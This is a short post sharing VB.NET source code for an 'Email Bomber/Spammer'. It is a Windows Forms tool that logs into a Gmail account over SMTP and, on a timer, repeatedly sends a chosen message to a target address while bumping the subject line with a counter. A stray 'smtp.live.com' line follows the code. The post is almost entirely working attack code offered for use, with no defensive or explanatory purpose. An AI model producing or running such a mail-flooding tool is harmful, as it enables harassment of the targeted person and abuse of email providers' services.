[Source Code] Email Bomber/Spammer

Imports System.Net.Mail
Public Class Form1
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(1)
        If ProgressBar1.Value = ProgressBar1.Maximum Then
            Dim MyMailMessage As New MailMessage()
            MyMailMessage.From = New MailAddress(TextBox1.Text)
            MyMailMessage.To.Add(TextBox3.Text)
            MyMailMessage.Subject = (TextBox4.Text)
            MyMailMessage.Body = (RichTextBox1.Text)
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
            SMTPServer.Port = 587
            SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
            SMTPServer.EnableSsl = True
            Label7.Text = Val(Label7.Text + 1)
            TextBox4.Text = Val(Label7.Text + 1)
            SMTPServer.Send(MyMailMessage)
        End If
    End Sub

    Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
    End Sub
End Class

smtp.live.com